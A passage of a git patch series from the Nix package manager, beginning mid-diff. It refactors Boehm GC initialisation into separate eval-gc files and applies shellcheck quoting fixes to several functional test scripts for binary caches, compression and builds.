Set the initial heap size to something fairly big (25% of + physical RAM, up to a maximum of 384 MiB) so that in most cases + we don't need to garbage collect at all. (Collection has a + fairly significant overhead.) The heap size can be overridden + through libgc's GC_INITIAL_HEAP_SIZE environment variable. We + should probably also provide a nix.conf setting for this. Note + that GC_expand_hp() causes a lot of virtual, but not physical + (resident) memory to be allocated. This might be a problem on + systems that don't overcommit. */ + if (!getEnv("GC_INITIAL_HEAP_SIZE")) { + size_t size = 32 * 1024 * 1024; +# if HAVE_SYSCONF && defined(_SC_PAGESIZE) && defined(_SC_PHYS_PAGES) + size_t maxSize = 384 * 1024 * 1024; + long pageSize = sysconf(_SC_PAGESIZE); + long pages = sysconf(_SC_PHYS_PAGES); + if (pageSize != -1) + size = (pageSize * pages) / 4; // 25% of RAM + if (size > maxSize) + size = maxSize; +# endif + debug("setting initial heap size to %1% bytes", size); + GC_expand_hp(size); + } +} + +#endif + +static bool gcInitialised = false; + +void initGC() +{ + if (gcInitialised) + return; + +#if HAVE_BOEHMGC + initGCReal(); +#endif + + gcInitialised = true; +} + +void assertGCInitialized() +{ + assert(gcInitialised); +} + +} diff --git a/src/libexpr/eval-gc.hh b/src/libexpr/eval-gc.hh new file mode 100644 index 000000000..cd4ea914d --- /dev/null +++ b/src/libexpr/eval-gc.hh @@ -0,0 +1,16 @@ +#pragma once +///@file + +namespace nix { + +/** + * Initialise the Boehm GC, if applicable. + */ +void initGC(); + +/** + * Make sure `initGC` has already been called. + */ +void assertGCInitialized(); + +} diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 42b26834c..301b81a62 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -40,25 +40,16 @@ #include #ifndef _WIN32 // TODO use portable implementation -# include +# include #endif #if HAVE_BOEHMGC -#define GC_INCLUDE_NEW +# define GC_INCLUDE_NEW -#include -#if __FreeBSD__ -# include -#endif - -#include -#include -#include - -#include -#include -#include +# include +# include +# include #endif @@ -211,109 +202,6 @@ bool Value::isTrivial() const } -#if HAVE_BOEHMGC -/* Called when the Boehm GC runs out of memory. */ -static void * oomHandler(size_t requested) -{ - /* Convert this to a proper C++ exception. */ - throw std::bad_alloc(); -} - -class BoehmGCStackAllocator : public StackAllocator { - boost::coroutines2::protected_fixedsize_stack stack { - // We allocate 8 MB, the default max stack size on NixOS. - // A smaller stack might be quicker to allocate but reduces the stack - // depth available for source filter expressions etc. - std::max(boost::context::stack_traits::default_size(), static_cast(8 * 1024 * 1024)) - }; - - // This is specific to boost::coroutines2::protected_fixedsize_stack. - // The stack protection page is included in sctx.size, so we have to - // subtract one page size from the stack size. - std::size_t pfss_usable_stack_size(boost::context::stack_context &sctx) { - return sctx.size - boost::context::stack_traits::page_size(); - } - - public: - boost::context::stack_context allocate() override { - auto sctx = stack.allocate(); - - // Stacks generally start at a high address and grow to lower addresses. - // Architectures that do the opposite are rare; in fact so rare that - // boost_routine does not implement it. - // So we subtract the stack size. - GC_add_roots(static_cast(sctx.sp) - pfss_usable_stack_size(sctx), sctx.sp); - return sctx; - } - - void deallocate(boost::context::stack_context sctx) override { - GC_remove_roots(static_cast(sctx.sp) - pfss_usable_stack_size(sctx), sctx.sp); - stack.deallocate(sctx); - } - -}; - -static BoehmGCStackAllocator boehmGCStackAllocator; - -/** - * When a thread goes into a coroutine, we lose its original sp until - * control flow returns to the thread. - * While in the coroutine, the sp points outside the thread stack, - * so we can detect this and push the entire thread stack instead, - * as an approximation. - * The coroutine's stack is covered by `BoehmGCStackAllocator`. - * This is not an optimal solution, because the garbage is scanned when a - * coroutine is active, for both the coroutine and the original thread stack. - * However, the implementation is quite lean, and usually we don't have active - * coroutines during evaluation, so this is acceptable. - */ -void fixupBoehmStackPointer(void ** sp_ptr, void * _pthread_id) { - void *& sp = *sp_ptr; - auto pthread_id = reinterpret_cast(_pthread_id); - pthread_attr_t pattr; - size_t osStackSize; - void * osStackLow; - void * osStackBase; - -# ifdef __APPLE__ - osStackSize = pthread_get_stacksize_np(pthread_id); - osStackLow = pthread_get_stackaddr_np(pthread_id); -# else - if (pthread_attr_init(&pattr)) { - throw Error("fixupBoehmStackPointer: pthread_attr_init failed"); - } -# ifdef HAVE_PTHREAD_GETATTR_NP - if (pthread_getattr_np(pthread_id, &pattr)) { - throw Error("fixupBoehmStackPointer: pthread_getattr_np failed"); - } -# elif HAVE_PTHREAD_ATTR_GET_NP - if (!pthread_attr_init(&pattr)) { - throw Error("fixupBoehmStackPointer: pthread_attr_init failed"); - } - if (!pthread_attr_get_np(pthread_id, &pattr)) { - throw Error("fixupBoehmStackPointer: pthread_attr_get_np failed"); - } -# else -# error "Need one of `pthread_attr_get_np` or `pthread_getattr_np`" -# endif - if (pthread_attr_getstack(&pattr, &osStackLow, &osStackSize)) { - throw Error("fixupBoehmStackPointer: pthread_attr_getstack failed"); - } - if (pthread_attr_destroy(&pattr)) { - throw Error("fixupBoehmStackPointer: pthread_attr_destroy failed"); - } -# endif - osStackBase = (char *)osStackLow + osStackSize; - // NOTE: We assume the stack grows down, as it does on all architectures we support. - // Architectures that grow the stack up are rare. - if (sp >= osStackBase || sp < osStackLow) { // lo is outside the os stack - sp = osStackBase; - } -} - -#endif - - static Symbol getName(const AttrName & name, EvalState & state, Env & env) { if (name.symbol) { @@ -326,92 +214,6 @@ static Symbol getName(const AttrName & name, EvalState & state, Env & env) } } -#if HAVE_BOEHMGC -/* Disable GC while this object lives. Used by CoroutineContext. - * - * Boehm keeps a count of GC_disable() and GC_enable() calls, - * and only enables GC when the count matches. - */ -class BoehmDisableGC { -public: - BoehmDisableGC() { - GC_disable(); - }; - ~BoehmDisableGC() { - GC_enable(); - }; -}; -#endif - -static bool gcInitialised = false; - -void initGC() -{ - if (gcInitialised) return; - -#if HAVE_BOEHMGC - /* Initialise the Boehm garbage collector. */ - - /* Don't look for interior pointers. This reduces the odds of - misdetection a bit. */ - GC_set_all_interior_pointers(0); - - /* We don't have any roots in data segments, so don't scan from - there. */ - GC_set_no_dls(1); - - GC_INIT(); - - GC_set_oom_fn(oomHandler); - - StackAllocator::defaultAllocator = &boehmGCStackAllocator; - - // TODO: Remove __APPLE__ condition. - // Comment suggests an implementation that works on darwin and windows - // https://github.com/ivmai/bdwgc/issues/362#issuecomment-1936672196 - #if GC_VERSION_MAJOR >= 8 && GC_VERSION_MINOR >= 2 && GC_VERSION_MICRO >= 4 && !defined(__APPLE__) - GC_set_sp_corrector(&fixupBoehmStackPointer); - - if (!GC_get_sp_corrector()) { - printTalkative("BoehmGC on this platform does not support sp_corrector; will disable GC inside coroutines"); - /* Used to disable GC when entering coroutines on macOS */ - create_coro_gc_hook = []() -> std::shared_ptr { - return std::make_shared(); - }; - } - #else - #warning "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bdw-gc to 8.2.4 or later." - #endif - - - /* Set the initial heap size to something fairly big (25% of - physical RAM, up to a maximum of 384 MiB) so that in most cases - we don't need to garbage collect at all. (Collection has a - fairly significant overhead.) The heap size can be overridden - through libgc's GC_INITIAL_HEAP_SIZE environment variable. We - should probably also provide a nix.conf setting for this. Note - that GC_expand_hp() causes a lot of virtual, but not physical - (resident) memory to be allocated. This might be a problem on - systems that don't overcommit. */ - if (!getEnv("GC_INITIAL_HEAP_SIZE")) { - size_t size = 32 * 1024 * 1024; -#if HAVE_SYSCONF && defined(_SC_PAGESIZE) && defined(_SC_PHYS_PAGES) - size_t maxSize = 384 * 1024 * 1024; - long pageSize = sysconf(_SC_PAGESIZE); - long pages = sysconf(_SC_PHYS_PAGES); - if (pageSize != -1) - size = (pageSize * pages) / 4; // 25% of RAM - if (size > maxSize) size = maxSize; -#endif - debug("setting initial heap size to %1% bytes", size); - GC_expand_hp(size); - } - -#endif - - gcInitialised = true; -} - static constexpr size_t BASE_ENV_SIZE = 128; EvalState::EvalState( @@ -508,7 +310,7 @@ EvalState::EvalState( countCalls = getEnv("NIX_COUNT_CALLS").value_or("0") != "0"; - assert(gcInitialised); + assertGCInitialized(); static_assert(sizeof(Env) <= 16, "environment must be <= 16 bytes"); diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index dac763268..0e5e0433e 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -3,6 +3,7 @@ #include "attr-set.hh" #include "eval-error.hh" +#include "eval-gc.hh" #include "types.hh" #include "value.hh" #include "nixexpr.hh" @@ -146,12 +147,6 @@ std::string printValue(EvalState & state, Value & v); std::ostream & operator << (std::ostream & os, const ValueType t); -/** - * Initialise the Boehm GC, if applicable. - */ -void initGC(); - - struct RegexCache; std::shared_ptr makeRegexCache(); From 7738b295e54e385d6ec54c805362403f0df25e41 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 13:18:42 -0700 Subject: [PATCH 0772/1251] housekeeping: shellcheck for tests/functional/bash-profile.sh --- maintainers/flake-module.nix | 1 - tests/functional/bash-profile.sh | 6 +++--- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 3006d5e30..261da1766 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -507,7 +507,6 @@ ''^scripts/install-nix-from-closure\.sh$'' ''^scripts/install-systemd-multi-user\.sh$'' ''^src/nix/get-env\.sh$'' - ''^tests/functional/bash-profile\.sh$'' ''^tests/functional/binary-cache-build-remote\.sh$'' ''^tests/functional/binary-cache\.sh$'' ''^tests/functional/brotli\.sh$'' diff --git a/tests/functional/bash-profile.sh b/tests/functional/bash-profile.sh index 6cfa5bd9c..4228d4a20 100755 --- a/tests/functional/bash-profile.sh +++ b/tests/functional/bash-profile.sh @@ -2,10 +2,10 @@ source common.sh -sed -e "s|@localstatedir@|$TEST_ROOT/profile-var|g" -e "s|@coreutils@|$coreutils|g" < ../../scripts/nix-profile.sh.in > $TEST_ROOT/nix-profile.sh +sed -e "s|@localstatedir@|$TEST_ROOT/profile-var|g" -e "s|@coreutils@|$coreutils|g" < ../../scripts/nix-profile.sh.in > "$TEST_ROOT"/nix-profile.sh user=$(whoami) -rm -rf $TEST_HOME $TEST_ROOT/profile-var -mkdir -p $TEST_HOME +rm -rf "$TEST_HOME" "$TEST_ROOT/profile-var" +mkdir -p "$TEST_HOME" USER=$user $SHELL -e -c ". $TEST_ROOT/nix-profile.sh; set" USER=$user $SHELL -e -c ". $TEST_ROOT/nix-profile.sh" # test idempotency From 4a28ba7877f8c35cbf370fc45a1128d25c7ffe5b Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 13:18:53 -0700 Subject: [PATCH 0773/1251] housekeeping: shellcheck for tests/functional/binary-cache-build-remote.sh --- tests/functional/binary-cache-build-remote.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/functional/binary-cache-build-remote.sh b/tests/functional/binary-cache-build-remote.sh index 0303e9410..4edda85b6 100755 --- a/tests/functional/binary-cache-build-remote.sh +++ b/tests/functional/binary-cache-build-remote.sh @@ -12,7 +12,7 @@ clearCacheCache outPath=$(nix-build --store "file://$cacheDir" --builders 'auto - - 1 1' -j0 dependencies.nix) # Test that the path exactly exists in the destination store. -nix path-info --store "file://$cacheDir" $outPath +nix path-info --store "file://$cacheDir" "$outPath" # Succeeds without any build capability because no-op nix-build --store "file://$cacheDir" -j0 dependencies.nix From aeed835a2ef8421b01d70d8e44a60fdade01eec4 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 13:39:01 -0700 Subject: [PATCH 0774/1251] housekeeping: shellcheck for tests/functional/binary-cache.sh Co-authored-by: Sandro --- tests/functional/binary-cache.sh | 163 ++++++++++++++++--------------- 1 file changed, 85 insertions(+), 78 deletions(-) diff --git a/tests/functional/binary-cache.sh b/tests/functional/binary-cache.sh index 54a3687ca..23135359b 100755 --- a/tests/functional/binary-cache.sh +++ b/tests/functional/binary-cache.sh @@ -14,9 +14,9 @@ clearStore clearCache outPath=$(nix-build dependencies.nix --no-out-link) -nix copy --to file://$cacheDir $outPath +nix copy --to file://"$cacheDir" "$outPath" -readarray -t paths < <(nix path-info --all --json --store file://$cacheDir | jq 'keys|sort|.[]' -r) +readarray -t paths < <(nix path-info --all --json --store file://"$cacheDir" | jq 'keys|sort|.[]' -r) [[ "${#paths[@]}" -eq 3 ]] for path in "${paths[@]}"; do [[ "$path" =~ -dependencies-input-0$ ]] \ @@ -25,16 +25,16 @@ for path in "${paths[@]}"; do done # Test copying build logs to the binary cache. -expect 1 nix log --store file://$cacheDir $outPath 2>&1 | grep 'is not available' -nix store copy-log --to file://$cacheDir $outPath -nix log --store file://$cacheDir $outPath | grep FOO -rm -rf $TEST_ROOT/var/log/nix -expect 1 nix log $outPath 2>&1 | grep 'is not available' -nix log --substituters file://$cacheDir $outPath | grep FOO +expect 1 nix log --store file://"$cacheDir" "$outPath" 2>&1 | grep 'is not available' +nix store copy-log --to file://"$cacheDir" "$outPath" +nix log --store file://"$cacheDir" "$outPath" | grep FOO +rm -rf "$TEST_ROOT/var/log/nix" +expect 1 nix log "$outPath" 2>&1 | grep 'is not available' +nix log --substituters file://"$cacheDir" "$outPath" | grep FOO # Test copying build logs from the binary cache. -nix store copy-log --from file://$cacheDir $(nix-store -qd $outPath)^'*' -nix log $outPath | grep FOO +nix store copy-log --from file://"$cacheDir" "$(nix-store -qd "$outPath")"^'*' +nix log "$outPath" | grep FOO basicDownloadTests() { # No uploading tests bcause upload with force HTTP doesn't work. @@ -46,15 +46,15 @@ basicDownloadTests() { nix-env --substituters "file://$cacheDir" -f dependencies.nix -qas \* | grep -- "---" - nix-store --substituters "file://$cacheDir" --no-require-sigs -r $outPath + nix-store --substituters "file://$cacheDir" --no-require-sigs -r "$outPath" - [ -x $outPath/program ] + [ -x "$outPath/program" ] # But with the right configuration, "nix-env -qas" should also work. clearStore clearCacheCache - echo "WantMassQuery: 1" >> $cacheDir/nix-cache-info + echo "WantMassQuery: 1" >> "$cacheDir/nix-cache-info" nix-env --substituters "file://$cacheDir" -f dependencies.nix -qas \* | grep -- "--S" nix-env --substituters "file://$cacheDir" -f dependencies.nix -qas \* | grep -- "--S" @@ -62,12 +62,12 @@ basicDownloadTests() { x=$(nix-env -f dependencies.nix -qas \* --prebuilt-only) [ -z "$x" ] - nix-store --substituters "file://$cacheDir" --no-require-sigs -r $outPath + nix-store --substituters "file://$cacheDir" --no-require-sigs -r "$outPath" - nix-store --check-validity $outPath - nix-store -qR $outPath | grep input-2 + nix-store --check-validity "$outPath" + nix-store -qR "$outPath" | grep input-2 - echo "WantMassQuery: 0" >> $cacheDir/nix-cache-info + echo "WantMassQuery: 0" >> "$cacheDir/nix-cache-info" } @@ -83,22 +83,22 @@ basicDownloadTests # Test whether Nix notices if the NAR doesn't match the hash in the NAR info. clearStore -nar=$(ls $cacheDir/nar/*.nar.xz | head -n1) -mv $nar $nar.good -mkdir -p $TEST_ROOT/empty -nix-store --dump $TEST_ROOT/empty | xz > $nar +nar=$(find "$cacheDir/nar/" -type f -name "*.nar.xz" | head -n1) +mv "$nar" "$nar".good +mkdir -p "$TEST_ROOT/empty" +nix-store --dump "$TEST_ROOT/empty" | xz > "$nar" -expect 1 nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log -grepQuiet "hash mismatch" $TEST_ROOT/log +expect 1 nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" 2>&1 | tee "$TEST_ROOT/log" +grepQuiet "hash mismatch" "$TEST_ROOT/log" -mv $nar.good $nar +mv "$nar".good "$nar" # Test whether this unsigned cache is rejected if the user requires signed caches. clearStore clearCacheCache -if nix-store --substituters "file://$cacheDir" -r $outPath; then +if nix-store --substituters "file://$cacheDir" -r "$outPath"; then echo "unsigned binary cache incorrectly accepted" exit 1 fi @@ -107,131 +107,134 @@ fi # Test whether fallback works if a NAR has disappeared. This does not require --fallback. clearStore -mv $cacheDir/nar $cacheDir/nar2 +mv "$cacheDir/nar" "$cacheDir/nar2" -nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result +nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" -mv $cacheDir/nar2 $cacheDir/nar +mv "$cacheDir/nar2" "$cacheDir/nar" # Test whether fallback works if a NAR is corrupted. This does require --fallback. clearStore -mv $cacheDir/nar $cacheDir/nar2 -mkdir $cacheDir/nar -for i in $(cd $cacheDir/nar2 && echo *); do touch $cacheDir/nar/$i; done +mv "$cacheDir/nar" "$cacheDir/nar2" +mkdir "$cacheDir/nar" +for i in $(cd "$cacheDir/nar2" && echo *); do touch "$cacheDir"/nar/"$i"; done -(! nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result) +(! nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result") -nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result --fallback +nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" --fallback -rm -rf $cacheDir/nar -mv $cacheDir/nar2 $cacheDir/nar +rm -rf "$cacheDir/nar" +mv "$cacheDir/nar2" "$cacheDir/nar" # Test whether building works if the binary cache contains an # incomplete closure. clearStore -rm -v $(grep -l "StorePath:.*dependencies-input-2" $cacheDir/*.narinfo) +rm -v "$(grep -l "StorePath:.*dependencies-input-2" "$cacheDir"/*.narinfo)" -nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log -grepQuiet "copying path.*input-0" $TEST_ROOT/log -grepQuiet "copying path.*input-2" $TEST_ROOT/log -grepQuiet "copying path.*top" $TEST_ROOT/log +nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" 2>&1 | tee "$TEST_ROOT/log" +grepQuiet "copying path.*input-0" "$TEST_ROOT/log" +grepQuiet "copying path.*input-2" "$TEST_ROOT/log" +grepQuiet "copying path.*top" "$TEST_ROOT/log" # Idem, but without cached .narinfo. clearStore clearCacheCache -nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o $TEST_ROOT/result 2>&1 | tee $TEST_ROOT/log -grepQuiet "don't know how to build" $TEST_ROOT/log -grepQuiet "building.*input-1" $TEST_ROOT/log -grepQuiet "building.*input-2" $TEST_ROOT/log -grepQuiet "copying path.*input-0" $TEST_ROOT/log -grepQuiet "copying path.*top" $TEST_ROOT/log +nix-build --substituters "file://$cacheDir" --no-require-sigs dependencies.nix -o "$TEST_ROOT/result" 2>&1 | tee "$TEST_ROOT/log" +grepQuiet "don't know how to build" "$TEST_ROOT/log" +grepQuiet "building.*input-1" "$TEST_ROOT/log" +grepQuiet "building.*input-2" "$TEST_ROOT/log" +grepQuiet "copying path.*input-0" "$TEST_ROOT/log" +grepQuiet "copying path.*top" "$TEST_ROOT/log" # Create a signed binary cache. clearCache clearCacheCache -nix key generate-secret --key-name test.nixos.org-1 > $TEST_ROOT/sk1 -publicKey=$(nix key convert-secret-to-public < $TEST_ROOT/sk1) +nix key generate-secret --key-name test.nixos.org-1 > "$TEST_ROOT/sk1" +publicKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk1") -nix key generate-secret --key-name test.nixos.org-1 > $TEST_ROOT/sk2 -badKey=$(nix key convert-secret-to-public < $TEST_ROOT/sk2) +nix key generate-secret --key-name test.nixos.org-1 > "$TEST_ROOT/sk2" +badKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk2") -nix key generate-secret --key-name foo.nixos.org-1 > $TEST_ROOT/sk3 -otherKey=$(nix key convert-secret-to-public < $TEST_ROOT/sk3) +nix key generate-secret --key-name foo.nixos.org-1 > "$TEST_ROOT/sk3" +otherKey=$(nix key convert-secret-to-public < "$TEST_ROOT/sk3") -_NIX_FORCE_HTTP= nix copy --to file://$cacheDir?secret-key=$TEST_ROOT/sk1 $outPath +_NIX_FORCE_HTTP='' nix copy --to file://"$cacheDir"?secret-key="$TEST_ROOT"/sk1 "$outPath" # Downloading should fail if we don't provide a key. clearStore clearCacheCache -(! nix-store -r $outPath --substituters "file://$cacheDir") +(! nix-store -r "$outPath" --substituters "file://$cacheDir") # And it should fail if we provide an incorrect key. clearStore clearCacheCache -(! nix-store -r $outPath --substituters "file://$cacheDir" --trusted-public-keys "$badKey") +(! nix-store -r "$outPath" --substituters "file://$cacheDir" --trusted-public-keys "$badKey") # It should succeed if we provide the correct key. -nix-store -r $outPath --substituters "file://$cacheDir" --trusted-public-keys "$otherKey $publicKey" +nix-store -r "$outPath" --substituters "file://$cacheDir" --trusted-public-keys "$otherKey $publicKey" # It should fail if we corrupt the .narinfo. clearStore cacheDir2=$TEST_ROOT/binary-cache-2 -rm -rf $cacheDir2 -cp -r $cacheDir $cacheDir2 +rm -rf "$cacheDir2" +cp -r "$cacheDir" "$cacheDir2" -for i in $cacheDir2/*.narinfo; do - grep -v References $i > $i.tmp - mv $i.tmp $i +for i in "$cacheDir2"/*.narinfo; do + grep -v References "$i" > "$i".tmp + mv "$i".tmp "$i" done clearCacheCache -(! nix-store -r $outPath --substituters "file://$cacheDir2" --trusted-public-keys "$publicKey") +(! nix-store -r "$outPath" --substituters "file://$cacheDir2" --trusted-public-keys "$publicKey") # If we provide a bad and a good binary cache, it should succeed. -nix-store -r $outPath --substituters "file://$cacheDir2 file://$cacheDir" --trusted-public-keys "$publicKey" +nix-store -r "$outPath" --substituters "file://$cacheDir2 file://$cacheDir" --trusted-public-keys "$publicKey" unset _NIX_FORCE_HTTP # Test 'nix verify --all' on a binary cache. -nix store verify -vvvvv --all --store file://$cacheDir --no-trust +nix store verify -vvvvv --all --store file://"$cacheDir" --no-trust # Test local NAR caching. narCache=$TEST_ROOT/nar-cache -rm -rf $narCache -mkdir $narCache +rm -rf "$narCache" +mkdir "$narCache" -[[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" $outPath/foobar) = FOOBAR ]] +[[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" "$outPath/foobar") = FOOBAR ]] rm -rfv "$cacheDir/nar" -[[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" $outPath/foobar) = FOOBAR ]] +[[ $(nix store cat --store "file://$cacheDir?local-nar-cache=$narCache" "$outPath/foobar") = FOOBAR ]] -(! nix store cat --store file://$cacheDir $outPath/foobar) +(! nix store cat --store file://"$cacheDir" "$outPath/foobar") # Test NAR listing generation. clearCache + +# preserve quotes variables in the single-quoted string +# shellcheck disable=SC2016 outPath=$(nix-build --no-out-link -E ' with import ./config.nix; mkDerivation { @@ -240,16 +243,18 @@ outPath=$(nix-build --no-out-link -E ' } ') -nix copy --to file://$cacheDir?write-nar-listing=1 $outPath +nix copy --to file://"$cacheDir"?write-nar-listing=1 "$outPath" diff -u \ - <(jq -S < $cacheDir/$(basename $outPath | cut -c1-32).ls) \ + <(jq -S < "$cacheDir/$(basename "$outPath" | cut -c1-32).ls") \ <(echo '{"version":1,"root":{"type":"directory","entries":{"bar":{"type":"regular","size":4,"narOffset":232},"link":{"type":"symlink","target":"xyzzy"}}}}' | jq -S) # Test debug info index generation. clearCache +# preserve quotes variables in the single-quoted string +# shellcheck disable=SC2016 outPath=$(nix-build --no-out-link -E ' with import ./config.nix; mkDerivation { @@ -258,14 +263,16 @@ outPath=$(nix-build --no-out-link -E ' } ') -nix copy --to "file://$cacheDir?index-debug-info=1&compression=none" $outPath +nix copy --to "file://$cacheDir?index-debug-info=1&compression=none" "$outPath" diff -u \ - <(cat $cacheDir/debuginfo/02623eda209c26a59b1a8638ff7752f6b945c26b.debug | jq -S) \ + <(jq -S < "$cacheDir"/debuginfo/02623eda209c26a59b1a8638ff7752f6b945c26b.debug) \ <(echo '{"archive":"../nar/100vxs724qr46phz8m24iswmg9p3785hsyagz0kchf6q6gf06sw6.nar","member":"lib/debug/.build-id/02/623eda209c26a59b1a8638ff7752f6b945c26b.debug"}' | jq -S) # Test against issue https://github.com/NixOS/nix/issues/3964 -# + +# preserve quotes variables in the single-quoted string +# shellcheck disable=SC2016 expr=' with import ./config.nix; mkDerivation { @@ -275,22 +282,22 @@ expr=' } ' outPath=$(nix-build --no-out-link -E "$expr") -docPath=$(nix-store -q --references $outPath) +docPath=$(nix-store -q --references "$outPath") # $ nix-store -q --tree $outPath # ...-multi-output # +---...-multi-output-doc -nix copy --to "file://$cacheDir" $outPath +nix copy --to "file://$cacheDir" "$outPath" hashpart() { basename "$1" | cut -c1-32 } # break the closure of out by removing doc -rm $cacheDir/$(hashpart $docPath).narinfo +rm "$cacheDir/$(hashpart "$docPath")".narinfo -nix-store --delete $outPath $docPath +nix-store --delete "$outPath" "$docPath" # -vvv is the level that logs during the loop timeout 60 nix-build --no-out-link -E "$expr" --option substituters "file://$cacheDir" \ --option trusted-binary-caches "file://$cacheDir" --no-require-sigs From 7186c68f75530f9590c8b6e7c14dd10d1bf6ad81 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 13:47:35 -0700 Subject: [PATCH 0775/1251] housekeeping: shellcheck for tests/functional/brotli.sh Co-authored-by: Sandro --- tests/functional/brotli.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/tests/functional/brotli.sh b/tests/functional/brotli.sh index 02a2a0875..672e771c2 100755 --- a/tests/functional/brotli.sh +++ b/tests/functional/brotli.sh @@ -9,15 +9,15 @@ cacheURI="file://$cacheDir?compression=br" outPath=$(nix-build dependencies.nix --no-out-link) -nix copy --to $cacheURI $outPath +nix copy --to "$cacheURI" "$outPath" -HASH=$(nix hash path $outPath) +HASH=$(nix hash path "$outPath") clearStore clearCacheCache -nix copy --from $cacheURI $outPath --no-check-sigs +nix copy --from "$cacheURI" "$outPath" --no-check-sigs -HASH2=$(nix hash path $outPath) +HASH2=$(nix hash path "$outPath") -[[ $HASH = $HASH2 ]] +[[ $HASH == "$HASH2" ]] From f615489e0edd5113979d8506a8d0d8b54d5b8217 Mon Sep 17 00:00:00 2001 From: Cameron Dart <8763518+SkamDart@users.noreply.github.com> Date: Mon, 3 Jun 2024 13:47:41 -0700 Subject: [PATCH 0776/1251] housekeeping: shellcheck for tests/functional/build-delete.sh --- tests/functional/build-delete.sh | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/tests/functional/build-delete.sh b/tests/functional/build-delete.sh index 2ef3008f6..59cf95bd2 100755 --- a/tests/functional/build-delete.sh +++ b/tests/functional/build-delete.sh @@ -6,25 +6,25 @@ clearStore # https://github.com/NixOS/nix/issues/6572 issue_6572_independent_outputs() { - nix build -f multiple-outputs.nix --json independent --no-link > $TEST_ROOT/independent.json + nix build -f multiple-outputs.nix --json independent --no-link > "$TEST_ROOT"/independent.json # Make sure that 'nix build' can build a derivation that depends on both outputs of another derivation. p=$(nix build -f multiple-outputs.nix use-independent --no-link --print-out-paths) nix-store --delete "$p" # Clean up for next test # Make sure that 'nix build' tracks input-outputs correctly when a single output is already present. - nix-store --delete "$(jq -r <$TEST_ROOT/independent.json .[0].outputs.first)" + nix-store --delete "$(jq -r <"$TEST_ROOT"/independent.json .[0].outputs.first)" p=$(nix build -f multiple-outputs.nix use-independent --no-link --print-out-paths) - cmp $p < $TEST_ROOT/a.json + nix build -f multiple-outputs.nix --json a --no-link > "$TEST_ROOT"/a.json # # Make sure that 'nix build' can build a derivation that depends on both outputs of another derivation. p=$(nix build -f multiple-outputs.nix use-a --no-link --print-out-paths) nix-store --delete "$p" # Clean up for next test # Make sure that 'nix build' tracks input-outputs correctly when a single output is already present. - nix-store --delete "$(jq -r <$TEST_ROOT/a.json .[0].outputs.second)" + nix-store --delete "$(jq -r <"$TEST_ROOT"/a.json .[0].outputs.second)" p=$(nix build -f multiple-outputs.nix use-a --no-link --print-out-paths) - cmp $p < Date: Mon, 3 Jun 2024 13:47:43 -0700 Subject: [PATCH 0777/1251] housekeeping: shellcheck for tests/functional/build-dry.sh --- tests/functional/build-dry.sh | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/tests/functional/build-dry.sh b/tests/functional/build-dry.sh index 9336cf745..dca5888a6 100755 --- a/tests/functional/build-dry.sh +++ b/tests/functional/build-dry.sh @@ -35,17 +35,17 @@ clearStore clearCache RESULT=$TEST_ROOT/result-link -rm -f $RESULT +rm -f "$RESULT" -nix-build dependencies.nix -o $RESULT --dry-run +nix-build dependencies.nix -o "$RESULT" --dry-run [[ ! -h $RESULT ]] || fail "nix-build --dry-run created output link" -nix build -f dependencies.nix -o $RESULT --dry-run +nix build -f dependencies.nix -o "$RESULT" --dry-run [[ ! -h $RESULT ]] || fail "nix build --dry-run created output link" -nix build -f dependencies.nix -o $RESULT +nix build -f dependencies.nix -o "$RESULT" [[ -h $RESULT ]] @@ -58,12 +58,12 @@ RES=$(nix build -f dependencies.nix --dry-run --json) if [[ -z "${NIX_TESTS_CA_BY_DEFAULT-}" ]]; then echo "$RES" | jq '.[0] | [ - (.drvPath | test("'$NIX_STORE_DIR'.*\\.drv")), - (.outputs.out | test("'$NIX_STORE_DIR'")) + (.drvPath | test("'"$NIX_STORE_DIR"'.*\\.drv")), + (.outputs.out | test("'"$NIX_STORE_DIR"'")) ] | all' else echo "$RES" | jq '.[0] | [ - (.drvPath | test("'$NIX_STORE_DIR'.*\\.drv")), + (.drvPath | 